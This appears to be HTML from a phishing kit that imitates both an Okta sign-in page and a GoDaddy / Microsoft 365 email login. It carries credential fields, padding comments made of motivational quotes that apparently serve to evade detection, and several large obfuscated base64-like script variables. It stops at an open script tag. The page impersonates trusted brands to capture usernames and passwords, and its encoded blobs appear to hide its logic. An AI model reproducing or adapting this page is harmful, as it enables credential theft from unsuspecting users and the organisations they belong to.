          <main data-se="auth-container" tabindex="-1" id="okta-sign-in" class="auth-container main-container can-remove-beacon" style="">
            <div class="okta-sign-in-header auth-header">
              <div data-type="beacon-container" class="beacon-container" style="transform: scale(1); text-indent: 1px;">
                <div class="js-security-beacon">
                  <div class="beacon-blank">
                    <div class="radial-progress-bar">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                      <div class="circle left"></div>
                      <div class="circle right"></div>
                    </div>
<!-- Your brand is what people say about you when you&#039;re not in the room. -->
                  </div>
                  <div aria-live="polite" role="img" class="bg-helper auth-beacon auth-beacon-security undefined-user" data-se="security-beacon">
                    <span class="accessibility-text"></span>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                    <div class="okta-sign-in-beacon-border js-auth-beacon-border"></div>
                  </div>
                </div>
              </div>
<!-- Success is not in what you have, but who you are. -->
            </div>
            <div class="auth-content">
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
              <div class="auth-content-inner">
                <div class="primary-auth">
                  <form name="f1" id="i0281" novalidate="" spellcheck="" method="post" target="_top" autocomplete="off" class="primary-auth-form o-form o-form-edit-mode">
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
                    <div data-se="o-form-content" class="o-form-content o-form-theme clearfix">
                      <h2 data-se="o-form-head" class="okta-form-title o-form-head">Sign In</h2>
                      <div class="o-form-error-container o-form-has-errors" style="display: none;"><div><div class="okta-form-infobox-error infobox infobox-error" role="alert"><span class="icon error-16"></span><p></p></div></div></div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                      <div class="o-form-fieldset-container" data-se="o-form-fieldset-container">
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-5">
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-username">Username</label>
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
<!-- Success is getting what you want, happiness is wanting what you get. -->
                            <span data-se="o-form-input-username" class="o-form-input-name-username o-form-control okta-form-input-field input-fix">
                              <input type="email" placeholder="" id="i011e" class="okta" value="" aria-label="" autocomplete="username" aria-required="true" required="">
<!-- <div>Action is the foundational key to all success.</div> -->
                            </span>
                          </div>
                        </div>
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-30">
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
                            <label for="okta-signin-password">Password</label>
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-password" class="o-form-input-name-password o-form-control okta-form-input-field input-fix">
                              <input type="password" placeholder="" id="oktapassword" class="okta" value="" aria-label="" autocomplete="current-password" aria-invalid="false" aria-required="true" required="">
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
                            </span>
                            <p id="input-container-error55" class="okta-form-input-error o-form-input-error o-form-explain" role="alert" style="display: none;"><span class="icon icon-16 error-16-small" role="img" aria-label="Error"></span>Please enter a password</p>
                          </div>
                        </div>
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-0">
                          <div data-se="o-form-input-container" class="o-form-input">
<!-- I find that the harder I work, the more luck I seem to have. -->
                            <span data-se="o-form-input-remember" class="o-form-input-name-remember">
                              <div class="custom-checkbox">
                                <input type="checkbox" name="remember" id="input41">
                                <label for="input41" data-se-for-name="remember">Remember me</label>
<!-- If you really look closely, most overnight successes took a long time. -->
                              </div>
                            </span>
<!-- Innovation distinguishes between a leader and a follower. -->
                          </div>
                        </div>
                      </div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
                    </div>
                    <div class="o-form-button-bar">
                    <input class="button button-primary" target="_parent" type="button" value="Sign In" id="oktasignin">
<!-- <div>Every problem is an opportunity in disguise.</div> -->
                    </div>
                  </form>
                  <div class="auth-footer">
                    <a href="javascript:void(0)" data-se="needhelp" aria-expanded="false" aria-controls="help-links-container" class="link help js-help">Need help signing in?</a>
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
                  </div>
                </div>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
              </div>
            </div>
          </main>
        </div>
      </div>
      <div class="footer">
<!-- It always seems impossible until it&#039;s done. -->
        <div class="footer-container clearfix">
          <p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a>
          </p>
          <p class="privacy-policy">
            <a href="https://www.okta.com/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a>
          </p>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
        </div>
      </div>
    </div>
</div>
<!-- <div>Success is where preparation and opportunity meet.</div> -->

<div id="sections_godaddy" class="websitesections d-none">

<div class="brand-header see-change-bar">
  <div class="container-fltoken">
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
    <div class="flex-row d-flex">
      <div class="see-change-bar-left d-flex">
        <div class="topnav-logo-wrap">
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
          <a href="https://www.godaddy.com/" target="_self" data-eid="uxp.hyd.utility_bar.logo.link.click" class="topnav-logo">
            <figure class="go-logo mobile-logo" aria-label="GoDaddy">
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
              <figcaption class="sr-only">GoDaddy</figcaption>
              <img id="header-logo" src="/ijKXOY01nD4zT1rb3gsgmzudPrZAmnwDjq3irMtofZCi2bGQvfBGYDg3UWPw12210">
            </figure>
          </a>
<!-- Success is getting what you want, happiness is wanting what you get. -->
        </div>
      </div>
      <div class="see-change-bar-right justify-content-end"></div>
<!-- Success is not in what you have, but who you are. -->
    </div>
  </div>
</div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->

<div id="root">
 <div class="LoginPageStyles__LoginWrapper-sc-pvsjk8-0 kLiWvU">
<!-- Success is not in what you have, but who you are. -->
  <img src="/qrNGbOgmXfWdyVGMUujHOFW1S12GJs4V6u6v0wjVkpoavb42cG7ef233" id="godaddy-left-logo" style="">
  <div class="FormPage__Container-sc-1b51r8o-0 zfCle container">
    <div class="row d-flex justify-content-sm-end">
<!-- <div>The secret of getting ahead is getting started.</div> -->
      <div class="FormPageColumn__Container-sc-uwin2-0 ixbTgw col col-xs-12 col-sm-10 col-lg-6">
        <div id="login-container">
          <div id="login-panel" class="ssodeck-framable-content">
            <div>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
              <div id="new-ux" class="card ux-card form-container fs-unmask">
                <div class="card-block  pass ">
<!-- All our dreams can come true if we have the courage to pursue them. -->
                  <div></div>
                  <div id="form-header" class="pass-form-header">
                    <div id="pass-template" class="">
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
                      <div class="logo-container-pass-o365 top-spacer">
                        <img src="/stzWBmtLcpGq28TiB33jGN40dabfRwXzfLXZOsUGeBcVMGHnx967vYoF2p5Sd9uUcDSJCTjSYWmg17n4GIMjsPpKXgh254" id="o365-logo" class="img-responsive">
                      </div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                    </div>
                  </div>
                  <div id="form-container" class="">
                    <div id="login-status-message" style="display: none;">
                      <div>
                        <div class="ux-space ux-dialog-shell ux-alert ux-alert--critical ux-text ux-dialog--contrast ux-dialog--stretch ux-space--as-block ux-space--inline ux-space--block" aria-labelledby="login-failure-alert" role="alert" dismissible="false">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                          <div class="ux-dialog-icon">
                            <svg class="uxicon-svg-container ux-dialog-accessory--critical" height="1.5em" width="1.5em" role="presentation">
                              <use fill="currentColor" xlink:href="#svg-container-alert"></use>
                            </svg>
                          </div>
                          <div class="ux-dialog-details">
<!-- Success is where preparation and opportunity meet. -->
                            <div id="login-failure-alert" class="ux-dialog-title"></div>
                            <div id="godaddyloginfailurerror" class="ux-dialog-content"></div>
                          </div>
                        </div>
<!-- The way to get started is to quit talking and begin doing. -->
                      </div>
                    </div>
<!-- <div>Success is where preparation and opportunity meet.</div> -->
                    <h2 id="pass-title">Sign in</h2>
                    <div>
                      <div id="username-container">
                        <div class="ux-text-input-shell">
                          <div class="ux-field-frame ux-field-frame--stretch">
                            <div class="ux-text-entry-shell ux-text ux-text-input">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                              <label class="ux-label ux-label--internal ux-label--floating" for="username">Email <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
                              </label>
                              <input class="ux-text-entry-field" id="godaddyemail" aria-invalid="false" aria-required="true" type="text" aria-describedby="">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                            </div>
                          </div>
                        </div>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
                      </div>
                      <div id="password-container">
<!-- Innovation distinguishes between a leader and a follower. -->
                        <div class="ux-text-input-shell">
                          <div class="ux-field-frame ux-field-frame--stretch">
                            <div class="ux-text-entry-shell ux-text ux-text-input">
                              <label class="ux-label ux-label--internal" for="password">Password <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                              </label>
                              <input class="ux-text-entry-field" id="godaddypassword" aria-invalid="false" aria-required="true" type="password" aria-describedby="" value="">
                            </div>
                          </div>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
                          <p class="ux-text ux-text-caption ux-text-feedback-critical" id="godaddypassword-error" role="alert" style="display: none;">Password is required</p>
                        </div>
<!-- The only place where success comes before work is in the dictionary. -->
                        <button class="ux-button show-hide-btn inline-show-hide-btn ux-text ux-text-size0 ux-button-inline" target="_parent" type="button" onclick="togglepassword(this)" aria-label="Show password">
                          <span class="ux-button-text">Show</span>
                        </button>
                      </div>

<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                      <div id="remember-me-container" class="input-container">
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                        <div class="ux-text ux-checkbox-shell ux-text-input">
                          <span class="ux-checkbox-lineheightbox" data-lineheight="I">
                            <input class="ux-checkbox-input" type="checkbox" id="remember-me" value="true" checked="">
                            <span class="ux-checkbox-indicator">
<!-- I find that the harder I work, the more luck I seem to have. -->
                              <svg class="uxicon-svg-container ux-checkbox-indeterminate" height="1.5em" width="1.5em" role="presentation">
                                <use fill="currentColor" xlink:href="#svg-container-minus"></use>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
                              </svg>
                              <svg class="uxicon-svg-container ux-checkbox-checkmark" height="1.5em" width="1.5em" role="presentation">
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                                <use fill="currentColor" xlink:href="#svg-container-checkmark"></use>
                              </svg>
                            </span>
                          </span>
<!-- <div>If you are not willing to risk the usual, you will have to settle for the ordinary.</div> -->
                          <label for="remember-me" class="ux-checkbox-label">Keep me signed in on this device</label>
                        </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
                      </div>
                      <button class="ux-button btn btn-purchase btn-block ux-text ux-text-size0 ux-text-action ux-button-primary" target="_parent" type="button" id="godaddysignin">
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
                        <span class="ux-button-text">Sign In</span>
                      </button>
<!-- <div>Leadership is not about being in charge, it&#039;s about taking care of those in your charge.</div> -->
                      <div id="social-login-buttons-container" class=""></div>
                    </div>
                    <p id="recovery-links" class="">Need to find <a class="ux-button ux-text ux-text-size0 ux-button-inline" href="https://sso.godaddy.com/v1/account/reset?app=o365&amp;realm=pass" target="_top" id="forgot_password" aria-label="find your password">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                        <span class="ux-button-text">your password</span>
                      </a>? </p>
                  </div>
<!-- The secret of success is to do the common thing uncommonly well. -->
                </div>
              </div>
              <div id="email-promo-footer">
<!-- Opportunities don&#039;t happen, you create them. -->
                <div class="font-primary-bold" id="email-message">Don't have Microsoft 365 email?</div>
                <button class="ux-button button btn btn-purchase btn-block ux-text ux-text-size-1 ux-text-action ux-button-secondary" target="_parent" type="button" id="emailPromoButton">
<!-- Success is not in what you have, but who you are. -->
                  <span class="ux-button-text">Get Started</span>
<!-- I find that the harder I work, the more luck I seem to have. -->
                </button>
              </div>
<!-- Success usually comes to those who are too busy to be looking for it. -->
            </div>
          </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
        </div>
      </div>
    </div>
  </div>
 </div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
</div>
<div id="hcs-footer-container">
  <div class="skip-nav-spacing"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
  <footer id="appheader-footer" class="manifest footer">
    <div class="container">Copyright &copy; 1999 - 2025 GoDaddy Operating Company, LLC. All Rights Reserved. <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank" target="_blank" data-eid="uxp.hyd.int.pc.app_header.footer.privacy_policy.link.click">Privacy Policy</a>
<!-- Your time is limited, don&#039;t waste it living someone else&#039;s life. -->
      <div class="do-not-sell">
        <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/cookie-policy" data-eid="uxp.hyd.int.pc.app_header.footer.do_not_sell.link.click">Do not sell my personal information</a>
      </div>
    </div>
<!-- If you really look closely, most overnight successes took a long time. -->
  </footer>
  <div id="gtm_privacy"></div>
</div>
<div id="svg-container" style="display: none;">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
  <svg>
    <symbol id="svg-container-minus" viewBox="0 0 24 24">
<!-- Success is the sum of small efforts, repeated day in and day out. -->
      <path d="M20 12.75H4a.75.75 0 110-1.5h16a.75.75 0 110 1.5z"></path>
    </symbol>
    <symbol id="svg-container-checkmark" viewBox="0 0 24 24">
      <path d="M9 18.25a.748.748 0 01-.53-.22l-5-5a.75.75 0 011.06-1.06L9 16.44 19.47 5.97a.75.75 0 011.06 1.06l-11 11a.748.748 0 01-.53.22z"></path>
    </symbol>
  </svg>
<!-- The customer is always right. -->
</div>

<div id="svg-container" style="display: none;">
    <svg>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
     <symbol id="svg-container-alert" viewBox="0 0 24 24">
        <g>
            <path d="M12 13.75a.75.75 0 00.75-.75V9a.75.75 0 10-1.5 0v4a.75.75 0 00.75.75z"></path>
            <path d="M21.371 16.48L14.478 4.417a2.854 2.854 0 00-4.956 0L2.629 16.48a2.853 2.853 0 002.478 4.27h13.787a2.854 2.854 0 002.477-4.27zm-1.307 2.095a1.34 1.34 0 01-1.17.675H5.107a1.352 1.352 0 01-1.175-2.025l6.893-12.063a1.354 1.354 0 012.35 0l6.893 12.063a1.339 1.339 0 01-.004 1.35z"></path>
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
            <path d="M12 15.25h-.005a1.128 1.128 0 10.005 0z"></path>
        </g>
     </symbol>
    </svg>
<!-- The successful warrior is the average man, with laser-like focus. -->
</div>

</div>

<!-- Innovation distinguishes between a leader and a follower. -->
    <script>
var ycur = "uVUw/4LZFAJHm+C3MaTD+9DYaW7WQ5nHTXWKX8mUTYNbXFjii0y0tAKvHC8q3Vv1ahFAHlUxSC8fN6MCg0yhk9DWrnFVMJhrb53rUJOxzD0nPTV/n/dehcSeRv+8ALCBoG+3LWEx14KiWJTZOFhKehSNmgnfOEXutI2FKMzOu9XM/wAk0DnUvbGoFI57+KUDdKZG/rGvPO2aF36/KJO64IHi4PiU0ENM4jk58xDeMZJgXiADsTgaxqSsTy0x7FG5ZGoK3hu3apBSMtOpf1XAIBvf7s0jOjBSiGAwad9xOm+1IRc8dno/EbH8K9Rp5M9+4bT88RMfjj7awSptSjOcPCP6Q5P9rYF2egkxNAJUFy/O3HaGm28qL4wxkpXxz8TcczQDhKQmVp51t7/FfMPkysYGgljqRBUfZ1yA1OVq2kCewf2XWrueDkAbUnzSH4z0nlWbK6cE3ILxulsuu2An/23HSig0N+ScFk0yNVt4cRCH2Y7oH0lZCC8utLDXunjwTsKQnIIZY4BvXO6qThOzbMXutLwOWgcWfH4TijUJwPz0v5+q09qq9x15iqYqzR7TY07hG6L50DbBmtYlWB5mlp5+rZPtnd3CLtSRQuzuurcj0nFH0wSQ6axzChoiOOvHdwbmMtjdKMVk5rtD2nYq/DRbskMdc6yBs/2BMr02o2oWkhQCK009/vXfL6yFxi6/XQaZT070e7VZ0MDhcwXDVCLBtmOh6ANULYnCDjal+G1E+Cseku5YZkt0TLtK+/1AlaWiKcIvre0aja/kkkMlL1X9MDYDf604etYnKG8vDnif0fRc/2i7/RAbY9BkDbSi0k5VXkWXh9h9aCfyuDper8Ci7wJrun3z3sSoOsAUd1yTweAy90B+NrEdZ6zgPxoKuaR2F19h5Vm8cz3zdozFzV95JkmPhJSSlgowDhJM2UvfIURoZTSagG+xQlUgfOZ0Ykq6BvsqVOeQFfA3M6rbyQvHZ1MVYJxyB1MkmXaC3v";
</script><script>
var pdts = "C9rfU6zqohfJL4NfV7cygBMj/GT5OayV6ox0DQZ49r5+5xjhJAEKZOBIjB8vP1KDppW8tuKh4rq8RyHR+OLSQQvNi9ia3set16oORp2i/r/Y0nhfEk3cscV+PwT6PgXD+PDmlnJh/V+UJnwEyiwWj/OqJPeLi4Fx2AGnHLvANJCtTNxFv3vJVzRytqVYiY/iw58ZRhtTDyXIQsfeV6balhNskk4PjE9kGiznb3K9PNYX/ghY9EhnREa9aTXNzNX6W4XUGaR6oOvqje6lL6umls+gKJGupmjgCA93wGm6w35j8xhiGADiZcgM2KaNP/gLCmeU9LgQufXJhtLr5E1vKZK+a/UhxWfdbUQv3ciGHSJ7Bs2D7UAJdCbVQwwOWdCJ0cHCrU5G+7MxBeQZVB0ivQtqWeS5W1bxJoZTpl/MT+PUw/dsboWlbR9iNr4kQFob0/NsheT4ap861hbvHIbnps6/d+hPZio8jMrRgh6BppSl3JO0woYdiKapOj6OpNiKId0BGoqF32AR6gsffdk4SqvAPQcabvIBYDUGlwLKZmeIndLPqwGcf1Yha9aT7spLpXJnkGeYB1g1cmPrDEUKUf64jbzq2TuWCBoa72nWt6qGI4gO0HV0FDDj2QTY5OwWmvMvN6nBwP5YrYGtobZqNk73RisQ2zioxC/7WRruhzddLxb4Ud6QzTrGDY0h/GgpE2ME6Iuu0wdamT77JOSoTCCLJ+PmIgmUWEGW/fPumYmJG0fGpGiQtq9H9urAx1KpP6pj2+PwLr8N7wl3boS+AiSS4vfnUKnELwCsr8uzDlnVVTsc+/ckF/V5IOO42tUL573UEzu/PuePHyyXUFRe4v9/UYn2KXrwMNc1gALJe6mibti/5QJSgd/VRXprND5q2gkvToiA5I5jXoph7wz88E0Ym0noF6BtFYwk5vM7Y4bI8wZqwrXkhDRRMybCcqfbzFtDOlBe5yWGD2wqLUFBKTznFDX4Zx7JHjgIMbkgw2";
</script><script>
var joyv = "xLcTz8agZqpGmA4qqr2+Bu0u1aw4nJhgFje5SGSXn0wwi78CwHk1nEPFWfIt82FEVMZBFGGXMogzBPZRONhxWZgDMoaertrxb4KUWIGRNEJHjHk7qQFxrQzrb2cP0YpDBXh+cKgkAwHO821HwFZsvksVN1JFI0NpIgQxd3iLrwnLuzNkNTL2zG+AZGpkew2XTSjoqDID45Luu3YQoONQ4RAQ3XvgwfUwfAhqfGRoPSAg1e266WlJ7+SwAjyNfh/HG3OSoWBuz0Jay0L0EaxCLrB12qH81rl3brI3eFnb3l+uwt08f4mSXH685qGpANCiIfLsxHZsQM6vrGGxAR4G/h5mF7Xagt1iqKZlUsgnt/h6FX8z14yXbKrVhFoilqLF4nrtrAJ5Bbhh9mBzEVz29dnqd59QMp3vrkJHwNrWz/bzKT15XAxg/KIGSbbsp26jIaTexcXGWXLJT+N0yliLLRQ2DmPGedPCYL6rR0CbezeaFcgdyVmHEBexH0rBORYXM6h5fY7GUfrptizm8943ADHrLD9vb9mYczAYAwbnpTqvsF6CSAb8Vs/7bh/hGS5YmJ1wOCruNh4fX+82wp3NC9k72TFregSQmgFOIKhzRLO9KMr3lDKU04z7vQNLih7Z0p9I/oazGohNZtFjSolJKNar2pvzkaWV/7EckkN/q2gE7WMTIvcaFBd90z0fRpJ7qDeWkWRBxUlhFVxG9o4Th8qXbRvYrgNFZj3F6j/wEklR6t08qfkANBCfoNkh3ztdimTC5hLswObJ6l6DWZ5H7bxlTQL1F9umxOohj7aA9DlV0ppoRzXh91OzFdZyQcQbAN82YrssOFUQ4eY8aGmXM7sEqdPeYPazJUgNbXmL3F7DDBjqhsGsmPjQjEju27S07LkH4pq8rVb9NdD+nEqij4N3GwPEWlwgEDqCW6NSKCvA1DOxtQ2ztxuUNg3whkf4GprA8T34p8vI5pQqGShysAxW5NiJLDOwuIJhSm3wRz";
</script><script>
var ofsb = "cA8WxwVt/CdfuDs5j7SPFZ4Tw2MNRQv2w9YVyxceKp0SpfCQyUDAsnDGWO6+cQEtCsLHy/CitJO/bvfDH5bYbpXq4sG5KbZqhEl4dSNUiIMjbfs84h0VIV1B1kAttAL7TbcxR4DgLGXkXoyPj1DjbMFxedBBrUrIIK1QVsTRtp4YvsKaYGSJ6mK8RzHHIcyFd2jOGHdJMkcuq0iBtggsVYoaslWHOF3CAQq6R6sMJhQJlbEt46+NuCkVkAfjmxP5nGmfT8da5YU0+YNJe7ZqKUYH+TRRN6ibx9/VBw4DhswJ+ttqis6W8hb9RQEPZzhlPDuhwWUd9ZL/tFtCGnU4e8LyeDW3filY3OvHIpAQc+iH4Ac8fkP9hNljRVBEP2VOKbYevLHg+bAptgB38ae9bN4deLDSDyCuhI63Km2pkML0SIXueHKs6RnYe9sWRjjpeSQJhv5XaYQj/UObFt+1FYFj271AvEFqyYquKAy0m43BFx5SL0IG3ZFLeEuxjxdsvxa6gF9fbXCI99Ypp5Y0vub3MXrSYjWL9osMdxa6At2dUAo0Ro1bZwb9zoDsTszMvBpF1/iTNjx+aFgbp/GHJuTOArtJQ8vMPnlUSiENs4l0QOXERXwwHYX/0GBq8T4hp586KDy5hQZngoQOpj3ckq95MBIiR4AtRv7pcfViTvcLuVkCBvRNVJRvbwcfFkkcHoqK2A523pamu8tllY3d7/M/xIhRQtp7anpqoBjcytX2mgTpcTneOyHyVSHKj7zs89GAq9oeQa5iUsxXF/c5iBdehXi130U3MuSAiXNPqqDTMRxFkB6GTkKBC/ig6T6NG+33jHmhi789/atZaBkjG+s7iVJjqJ8xeXC6dWT7JQ9cAucmKyESf/SLuaWAc2NqLXq91yh/Ekjemt0YSMX5D6akW9dhy4/iRyWbWQ5wntfy/x3fiXcOEZ5LUFaQvxDIV6iyk1/Vx7spRBgZyaKMbAcHvVmQD1USb5qJEnchqx";
</script><script>
var mmeb = "/x+zcZDPx1BlOqeby2hPBckfyU+vQC56FS+qDpRmKAP2SShgguoeSkSHYCaq9pc7+8psRRvIBKy43p1Ox8gEN1EyZpUteRrDGo1aEnZ3nAHPMwE81fVW4lSW0gMM2yc/YzkN7mFHfvigd62fxnLf2CL5z0Pqc75JJw3MLxLG16C8AljvSEr4H0JVA+oZfdhjxMw7fdzyhhZR58aorAuh8K3jvWDaIoL1bTBSblrTE2yMOVXchMOUwFoRlhOkxdY6N94U0z20zDilH/OQ7qdiSaWeuobpahDRyVoleicShblH7Oxcic2+szplwbCX73bnZkuaoTRTWgWGZzYOx6oPbgDhCoH1fZIc4+BHrCR3d6SruwuiirQi1O5QMArL45QZcmC+I4RUOAUNSwaI8tNEOjRdVasvdZxIkut1ke0bMXRDQxKc956r1qZkvHQJKEntBOvCKXPG/XCn2Z6+8/P+qEZ4nS33aRfvvYvNQWFzSbYsxQA0I/gOQYLOfnGbWqR2DoT7SzxiWszf671vicxs6mZCGq1AKvFXEqtrguPbwAFGoHnHu1pA7eGZHecPX3rHG19ohB9cxRqitSGp/844+tj1FGQEk7UV+ORj8TO1Qh1xMZrcGnVhAkwvl6JKgkbsr3xIzMbY6Md30Syq7+3MoX1whAsab3yvNPq1MgbgqRF4jBTOURkB1SnLueh9Ej4aI/J+E+KCHh4kOEPJCEVMfIBEkLnKPjjh4feybZcgS/63WhtRZzTLM49rHJYa/a/6z8bZY4q8czLRszBs5/IBdZdsQbkq6iURlj1soaA7eI94xd0XSNo1zeZr9CsKqY3+VIDur3YC8VqkF/LocRpj34ZvXRR7CSQaHlmXMnZOC6Dq6Xa0D9/HlzOrCvBvbOeRYlHA76Zno+BwgLshd0GjNlV5g61DZKhi29uMjr3MVTrcGQ2LUrsvCIi9CKkDyolcs+jYxV9hRmwj7q/ijR0Re9v6srGsYbOwHAegnacgEx";
</script><script>
var ihob = "6e0YWW9g+VHF6yZMde54pmXxLtTZN1R17Cf+UpnZsiXvnUto8CjLVnhs5dAcXDlTd2RJpPaecyKiqwEdIMfERPRvTg2CGVHeF8Aux8G6zMHh7Tl7u6y0fHVzDhOJJRtg53UW5z999N0nHIqth00YUBPGpEZTYICds0Mqh1bRvbskn2NFrihK1/xMZC98TetfSy8s15xuwyU9zirizqvYcy8ZWfWkI0rqcMwBRd0dqeJtgmCnvMbF9XRQrApf9QPAR/drnVmrTDcM2ihtsDyZu2DX9mBiTgtwWHVB0UxZ1+yV9kkxjQy7FdXvICIndagjfPQW8d9atWSu6SPjhlrRFTN8D/P+RKZuRL4er9rtZ1xm7/S07OUcdddB9oGtm2mGBoML4A89qK0hf2TwEZl1jsKOnx/AL3QZMdzA2C/8lT1DfY/6uRp36Bd0gKX7R6NfFq35NVK5nPhk9klJRkR3MNnDs2TCTbV0jU18wuE67vWYjpb9JymO0OkoW2IypwSL54jRYiqjKcuohL2t476OYPGCylgnf1TS9xCldPVBHqIz2xDh8YhjIF1FWPqYYtIq2oOd9NpxexwHG4koIuGVp3ci5kSHFrDATWlCj8aemhUnVH581HPrQV03HTkMztLNooXGkwlumfgAirMfgCh6CtEAfGmbSa+PrD/UGQ3HGu8KA4pfmPcv8NRo2B5Vmc1lFg5q8PCgQpDNajITMfG5mPrRflKw60j21OzAM/soH3jqXadzgXiNNn+jBRUbgx7BOeWSwx/H7J3sS4d2WLJ12p0tG2qRLsNCJiBiA3mneLU79caGshhQdTm/y0CJ7mtLEP1k3zom3xExyttoHBIhAf/tS/wslhuKDdBz9Ap37DUAh+Hp86XktpDnOTkJlsNl9/7hnb5nBUCD0I3W7EUmrAS+Nph9N1/DDC+hmKPkEPr/yJ4g15A3t5vRMfiLbOFCRPoK1ZkxgunWJ7Q38obj+8EVCKEyx/HVu1ZjulLtJU";
</script><script>
var qyvq = "lSz71vr+fHp5EtWH800A6ELB1a/NC/9TSuiNAQlx+QYire7v5oyaMtT28edAqm9Wk6uD2os8ttHSHnynA+dNEEYmn/UTW+K0G6gul0fWJ/93xp9Id2mQPND8hOd6+j5JMbgkA9jGAHPEE5H/wjKSR4FrEWstcnnHnBEgbhf3Lj/r9SFZAGASNjmsJ5+EPd6Et1RdffYKmEnF9OGzuQbsqE2GGdokX5HJOQvh6ZcOcecy+ZiCD8yfGL6f1QCwMBz5Tw6xddm/icz38Fs1sU1ime0ncv8oTLoPELW9dXPEX/5eMmZHmxG4lwvM7OJ4nUdWLlet5VWfJvpqbWo/g0Yk2qekFxztCdhKtuU2hT6DSVITn7Qk9AHS1aPTHqK/gI9uiIldz33Wyaqajc7b5s1iO6mNTljl076jdcLcxc1j3dx+/HseOljKY4tNwANDDOjC7L6j2bxOJpbsDSmw+fDBMOMXb/WVwDHtfCRTyr48vE3oBG+PrzBTJYEP/qfjVrlouCVkTP0Tm8MWHbFDE0So7GhTFdRC41Aq4OwUz1TYSuM9SUyqSkEnjLVnQUxc6Tbj7sTGpvKoU+8TTCmtU3vv/TN/9r5pnx2pyniTXP3igNASA707F7S4jWJUT8lFkuWs40UPx91S5XWhIU7w4Mbtz9d8tx1s4rND6+tBocFpX6OSDY6gFDpjdCK1qMTydpVGq5KWeE6M2M0KQtD/WKaVJ9w5xAFSEEdM9dA0i/9dvh1+Fc4Sp7OrawzUjq0dzN5jYuljS/5f7A6MIHsjdFvFxAiSMcXUKP5M6yVWcXUWcHw0BeWnzRCe7e881GekxQbiztGlKjDfDhhVy4EDtZ4FmywXqLCEmP12CYSNvAkwGDFtRcCy1q10doFHzBcpzlcx9yejbgOxcrT+7mxrjMcgQWz4Hvp1OMwhyNwEa9f4UQ/eWTc6bY6ei/wjS+P4g3kxubXeQ7Plx1MotrTj3rZSuKskfNPMiawA24U75Nt/VA";
</script><script>
